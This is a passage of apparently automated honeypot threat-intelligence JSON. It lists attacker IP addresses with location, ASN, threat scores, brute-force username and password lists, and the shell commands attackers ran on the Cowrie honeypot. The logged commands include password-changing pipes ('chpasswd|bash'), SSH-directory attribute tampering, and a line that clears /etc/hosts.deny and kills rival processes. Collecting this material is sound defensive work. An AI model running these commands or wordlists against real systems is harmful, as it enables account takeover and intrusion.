        "echo -e \"mason\\nKWaftNyZeHaU\\nKWaftNyZeHaU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:04:31.990000+00:00",
        "last_seen_30d": "2026-03-23T19:08:09.052000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 71
      }
    },
    "222.107.156.227": {
      "attack_count": 305,
      "first_seen": "2026-03-02T03:32:17.414Z",
      "last_seen": "2026-03-19T15:36:04.534Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mike",
        "alexis",
        "alpha",
        "csserver",
        "dmdba",
        "steam",
        "tiger",
        "yocto"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW12qw",
        "123",
        "12345",
        "A12345",
        "Alpha123",
        "Haslo123",
        "P@ssw0rd#2022",
        "P@ssw0rd66",
        "QAZqaz123",
        "Qq@123456",
        "Root123!@#",
        "Steam123",
        "aaaa1234",
        "asdf",
        "csserver1234",
        "dmdba1234",
        "kingkong",
        "mike123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mike123!\\nybDD5IPdDKCB\\nybDD5IPdDKCB\\n\"|passwd",
        "echo \"root:5tULa8fKe2DR\"|chpasswd|bash",
        "echo \"root:cUYzdZnUYu6P\"|chpasswd|bash",
        "echo -e \"mike123!\\nybDD5IPdDKCB\\nybDD5IPdDKCB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:32:17.414000+00:00",
        "last_seen_30d": "2026-03-19T15:37:05.658000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 305,
        "Suricata": 61
      }
    },
    "154.241.58.109": {
      "attack_count": 299,
      "first_seen": "2026-03-29T16:36:38.195Z",
      "last_seen": "2026-03-30T03:21:40.541Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZXSW@",
        "1234fdsa",
        "1475369",
        "1a2s3d4f5g6h7j8k",
        "1qaz!@#$",
        "Aa123654",
        "abcd123!@#",
        "admin12345@",
        "fjbdfdjkdsfs541544@@",
        "jesus",
        "l69913991likK!",
        "mapp",
        "pa$$word",
        "qweqwe",
        "ruijie@123",
        "test@2024",
        "th123!@#",
        "theman"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZOYrHgWXeIzJ\"|chpasswd|bash",
        "echo \"root:dQ8yeN0c30sr\"|chpasswd|bash",
        "echo \"root:k7LOrg6yV38P\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Rouiba",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:36:38.195000+00:00",
        "last_seen_30d": "2026-03-30T03:22:50.210000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 63
      }
    },
    "207.154.233.210": {
      "attack_count": 296,
      "first_seen": "2026-03-03T08:06:11.028Z",
      "last_seen": "2026-03-03T08:48:20.242Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "654321",
        "admin",
        "Admin123",
        "admin123",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 416,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:06:11.028000+00:00",
        "last_seen_30d": "2026-03-03T08:49:30.425000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 296,
        "Suricata": 120
      }
    },
    "170.64.214.130": {
      "attack_count": 273,
      "first_seen": "2026-03-08T11:47:58.313Z",
      "last_seen": "2026-03-08T12:49:54.472Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "mysql"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "111111",
        "admin123",
        "root",
        "Administrator",
        "Password1",
        "access",
        "adminadmin",
        "data",
        "database"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 391,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T11:47:58.313000+00:00",
        "last_seen_30d": "2026-03-08T12:51:01.605000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 118
      }
    },
    "105.96.13.6": {
      "attack_count": 212,
      "first_seen": "2026-03-23T20:18:56.899Z",
      "last_seen": "2026-03-30T03:29:21.740Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "java",
        "temp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1234567aA",
        "Abc123!!",
        "Java123!",
        "P455w0RD",
        "Qweasd!@#",
        "Qz123456",
        "Support01!",
        "Welcome2026!",
        "aa778899",
        "admin00",
        "password12#",
        "ubuntu@2026",
        "wanghao123",
        "yang5202514"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ERzFAr12yOAw\"|chpasswd|bash",
        "echo \"ubuntu@2026\\nuAl9M7MTHyZe\\nuAl9M7MTHyZe\\n\"|passwd",
        "echo -e \"ubuntu@2026\\nuAl9M7MTHyZe\\nuAl9M7MTHyZe\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:18:56.899000+00:00",
        "last_seen_30d": "2026-03-30T03:30:23.102000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 49
      }
    },
    "177.73.142.178": {
      "attack_count": 193,
      "first_seen": "2026-03-12T00:49:28.643Z",
      "last_seen": "2026-03-12T01:14:57.562Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cyrus",
        "n8n",
        "root",
        "den",
        "elk",
        "ftp-user",
        "nikola",
        "omm",
        "postgres",
        "vpnadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "1Qaz2wsx",
        "Qwertyu1",
        "cyrus",
        "elk123!",
        "n8n",
        "nikola",
        "omm@123",
        "postgres1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cyrus\\n9jyh5j1AoCkU\\n9jyh5j1AoCkU\\n\"|passwd",
        "echo \"n8n\\nnDxuo6fgVbbh\\nnDxuo6fgVbbh\\n\"|passwd",
        "echo -e \"cyrus\\n9jyh5j1AoCkU\\n9jyh5j1AoCkU\"|passwd|bash",
        "echo -e \"n8n\\nnDxuo6fgVbbh\\nnDxuo6fgVbbh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Blumenau",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:49:28.643000+00:00",
        "last_seen_30d": "2026-03-12T01:16:05.205000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "181.218.9.86": {
      "attack_count": 193,
      "first_seen": "2026-03-10T00:49:22.638Z",
      "last_seen": "2026-03-10T01:15:40.308Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "astro",
        "student1",
        "bin",
        "clawd",
        "mark",
        "monitoring",
        "qiyuesuo",
        "root",
        "rramirez",
        "sshuser",
        "teste"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "Sa123456",
        "astro123",
        "bin123!",
        "markpass",
        "password",
        "sshuser123",
        "teste"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n3VyZIBytP8gW\\n3VyZIBytP8gW\\n\"|passwd",
        "echo \"astro123\\nU35hpjFIbDUO\\nU35hpjFIbDUO\\n\"|passwd",
        "echo -e \"123456\\n3VyZIBytP8gW\\n3VyZIBytP8gW\"|passwd|bash",
        "echo -e \"astro123\\nU35hpjFIbDUO\\nU35hpjFIbDUO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Crici\u00fama",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:49:22.638000+00:00",
        "last_seen_30d": "2026-03-10T01:16:43.314000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "103.103.245.61": {
      "attack_count": 188,
      "first_seen": "2026-03-07T18:20:51.677Z",
      "last_seen": "2026-03-07T18:43:16.879Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "applmgr",
        "lyh",
        "client1",
        "ehsan",
        "postgres",
        "sumit",
        "toan",
        "ubuntu",
        "victor",
        "vnc"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Lyh123",
        "Postgres123!",
        "Vnc123",
        "password",
        "ubuntu888",
        "victorpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nHyAlyScfoOPX\\nHyAlyScfoOPX\\n\"|passwd",
        "echo \"Lyh123\\niOz8OYjJ0cAX\\niOz8OYjJ0cAX\\n\"|passwd",
        "echo -e \"12345\\nHyAlyScfoOPX\\nHyAlyScfoOPX\"|passwd|bash",
        "echo -e \"Lyh123\\niOz8OYjJ0cAX\\niOz8OYjJ0cAX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:20:51.677000+00:00",
        "last_seen_30d": "2026-03-07T18:44:24.685000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "103.61.123.132": {
      "attack_count": 188,
      "first_seen": "2026-03-19T04:41:12.710Z",
      "last_seen": "2026-03-19T05:02:19.023Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cody",
        "comunicacao",
        "bert",
        "dev",
        "jellyfin",
        "mata",
        "mob",
        "pzserver",
        "wilson",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Bert123!",
        "Jellyfin123",
        "cody123",
        "dev1234",
        "mata",
        "mob",
        "password",
        "work123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cody123\\neiKGzg0uydkH\\neiKGzg0uydkH\\n\"|passwd",
        "echo \"password\\nUMdZqWRMZvqz\\nUMdZqWRMZvqz\\n\"|passwd",
        "echo -e \"cody123\\neiKGzg0uydkH\\neiKGzg0uydkH\"|passwd|bash",
        "echo -e \"password\\nUMdZqWRMZvqz\\nUMdZqWRMZvqz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:41:12.710000+00:00",
        "last_seen_30d": "2026-03-19T05:03:22.036000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "103.67.78.217": {
      "attack_count": 188,
      "first_seen": "2026-03-23T15:06:34.136Z",
      "last_seen": "2026-03-23T15:30:28.716Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "lg",
        "real",
        "admin",
        "choi",
        "dev",
        "f",
        "gianluca",
        "hh",
        "mosquitto",
        "timemachine"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "P@ssw0rd",
        "a5201314",
        "f",
        "gianlucapass",
        "lgpass",
        "mosquitto",
        "password",
        "timemachine"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"lgpass\\n9YbEGViuAj1J\\n9YbEGViuAj1J\\n\"|passwd",
        "echo \"password\\ntqam1Q3yvOvK\\ntqam1Q3yvOvK\\n\"|passwd",
        "echo -e \"lgpass\\n9YbEGViuAj1J\\n9YbEGViuAj1J\"|passwd|bash",
        "echo -e \"password\\ntqam1Q3yvOvK\\ntqam1Q3yvOvK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T15:06:34.136000+00:00",
        "last_seen_30d": "2026-03-23T15:31:29.649000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 35
      }
    },
    "211.252.85.97": {
      "attack_count": 186,
      "first_seen": "2026-03-04T17:09:42.320Z",
      "last_seen": "2026-03-04T17:37:27.190Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "ASDasd123",
        "Aa.123456789",
        "Aa@123456",
        "Password@1234",
        "a1231512315",
        "a123qweasd",
        "a374967965",
        "a790",
        "aa1234aa",
        "asdf123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CMKbURI2CrgL\"|chpasswd|bash",
        "echo \"root:s41329baaLmd\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Paju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:09:42.320000+00:00",
        "last_seen_30d": "2026-03-04T17:38:29.394000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 34
      }
    },
    "101.47.140.216": {
      "attack_count": 156,
      "first_seen": "2026-03-09T19:54:09.020Z",
      "last_seen": "2026-03-09T20:36:42.024Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "geo",
        "wei",
        "345gs5662d34",
        "clawd",
        "dell",
        "llm",
        "mamad",
        "posiflex",
        "vboxuser"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "123456",
        "345gs5662d34",
        "Wei123",
        "dell1234",
        "geopass",
        "password",
        "posiflex123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lockr -ia .ssh",
        "lscpu | grep Model",
        "uname -a",
        "whoami",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
